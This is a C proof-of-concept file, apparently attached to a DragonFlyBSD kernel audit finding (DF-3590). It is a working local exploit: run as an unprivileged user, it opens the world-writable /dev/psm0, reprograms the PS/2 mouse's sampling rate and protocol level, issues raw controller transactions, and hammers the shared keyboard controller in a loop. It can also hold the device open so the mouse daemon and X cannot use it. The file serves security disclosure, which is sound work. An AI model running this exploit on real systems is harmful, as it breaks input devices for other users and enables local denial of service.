⬢ DragonFlyBSD Kernel Audit
DF-3590 / psm_ioctl_poc.c
← back to finding ↓ download raw
/*
 * DF-3590 PoC — unprivileged control of /dev/psm0 (mode 0666) on DragonFlyBSD.
 *
 * Run as an unprivileged user. Demonstrates that psmioctl() has no
 * privilege check anywhere: any local user can
 *   - open the device (which enables the PS/2 aux device + IRQ12),
 *   - reprogram sampling rate / resolution / operation level,
 *   - issue controller status/data transactions (MOUSE_READDATA),
 *   - hold the device open so that moused(8)/X get EBUSY forever.
 *
 * Every ioctl below runs block_mouse_data() which disables the keyboard
 * port + keyboard interrupt on the shared i8042 for the duration of the
 * controller transaction (sys/dev/misc/psm/psm.c:2539-2575).
 */
#include <sys/ioctl.h>
#include <sys/mouse.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>

static double now_sec(void)
{
	struct timespec ts;
	clock_gettime(CLOCK_MONOTONIC, &ts);
	return ts.tv_sec + ts.tv_nsec / 1e9;
}

/* mouse.h keeps these under "#if 0 notyet"; psm.c implements them behind
 * "#if defined(...)" so they are dead there.  The LIVE reprogramming path
 * is MOUSE_SETMODE (rate/resolution/accelfactor/level all at once). */
#define PSM_LEVEL_NATIVE 2

static void dump_mode(const char *tag, mousemode_t *m)
{
	printf("[%s] level=%d rate=%d resolution=%d accelfactor=%d "
	    "packetsize=%d\n",
	    tag, m->level, m->rate, m->resolution, m->accelfactor,
	    m->packetsize);
}

int main(int argc, char **argv)
{
	int fd, i, v, iocalls = 0, fail = 0;
	mousemode_t mode;
	mousedata_t data;
	double t0, t1;

	fd = open("/dev/psm0", O_RDWR | O_NONBLOCK);
	if (fd < 0) {
		if (errno == EBUSY) {
			printf("open: EBUSY (device already held -- "
			    "denial already proven)\n");
			return (0);
		}
		printf("open failed: %s\n", strerror(errno));
		return (1);
	}
	printf("uid=%d opened /dev/psm0 (O_RDWR): OK -- device is now "
	    "ENABLED (aux IRQ12 armed) by an unprivileged user\n", getuid());

	/* 1. read state */
	if (ioctl(fd, MOUSE_GETLEVEL, &v) == 0) {
		printf("MOUSE_GETLEVEL: %d\n", v); iocalls++;
	} else { printf("MOUSE_GETLEVEL: %s\n", strerror(errno)); fail++; }
	if (ioctl(fd, MOUSE_GETMODE, &mode) == 0) {
		dump_mode("MOUSE_GETMODE", &mode); iocalls++;
	} else { printf("MOUSE_GETMODE: %s\n", strerror(errno)); fail++; }

	/* 2. reprogram the device as an unprivileged user via MOUSE_SETMODE:
	 *    rate=20/s, resolution=MOUSE_RES_LOW, level unchanged (-1) */
	memset(&mode, 0, sizeof(mode));
	mode.rate = 20;
	mode.resolution = MOUSE_RES_LOW;	/* -1 = keep */
	mode.accelfactor = -1;
	mode.level = -1;
	t0 = now_sec();
	if (ioctl(fd, MOUSE_SETMODE, &mode) == 0) {
		t1 = now_sec();
		printf("MOUSE_SETMODE(rate=20,res=LOW): OK (%.1f ms of i8042 "
		    "transaction, keyboard port disabled during it)\n",
		    (t1 - t0) * 1000.0);
		iocalls++;
	} else { printf("MOUSE_SETMODE: %s\n", strerror(errno)); fail++; }

	/* 3. raw passthrough level */
	v = PSM_LEVEL_NATIVE;	/* 2 */
	if (ioctl(fd, MOUSE_SETLEVEL, &v) == 0) {
		printf("MOUSE_SETLEVEL(NATIVE=2): OK -- moused(8)/X protocol "
		    "parsing is now broken for this device\n"); iocalls++;
	} else { printf("MOUSE_SETLEVEL: %s\n", strerror(errno)); fail++; }

	/* 4. direct controller<->device transaction */
	memset(&data, 0, sizeof(data));
	data.len = 3;
	if (ioctl(fd, MOUSE_READDATA, &data) == 0) {
		printf("MOUSE_READDATA: OK, device returned %d bytes: "
		    "%02x %02x %02x\n", data.len,
		    (unsigned)data.buf[0] & 0xff, (unsigned)data.buf[1] & 0xff,
		    (unsigned)data.buf[2] & 0xff); iocalls++;
	} else { printf("MOUSE_READDATA: %s\n", strerror(errno)); fail++; }

	/* 5. verify the reprogramming persisted */
	if (ioctl(fd, MOUSE_GETMODE, &mode) == 0) {
		dump_mode("after attacks ", &mode);
		if (mode.rate == 20)
			printf("PERSISTED: unprivileged user changed mouse "
			    "sampling rate to 20\n");
		iocalls++;
	}

	/* 6. sustained controller hammering: every MOUSE_SETMODE call
	 *    disables the kbd port for the whole transaction. */
	t0 = now_sec();
	for (i = 0; i < 50; i++) {
		memset(&mode, 0, sizeof(mode));
		mode.rate = 10 + (i % 90);
		mode.resolution = -1;
		mode.accelfactor = -1;
		mode.level = -1;
		if (ioctl(fd, MOUSE_SETMODE, &mode) != 0)
			fail++;
		iocalls++;
	}
	t1 = now_sec();
	printf("50x MOUSE_SETMODE hammer: %.1f ms total (%.2f ms per call "
	    "of shared-keyboard-controller downtime)\n",
	    (t1 - t0) * 1000.0, (t1 - t0) * 1000.0 / 50.0);

	if (argc > 1 && strcmp(argv[1], "hold") == 0) {
		printf("holding /dev/psm0 open for 20s -- try opening it as "
		    "root/moused now: expect EBUSY...\n");
		fflush(stdout);
		sleep(20);
	}
	close(fd);
	printf("== %d ioctls issued as uid %d, %d failures ==\n",
	    iocalls, getuid(), fail);
	return (fail != 0);
}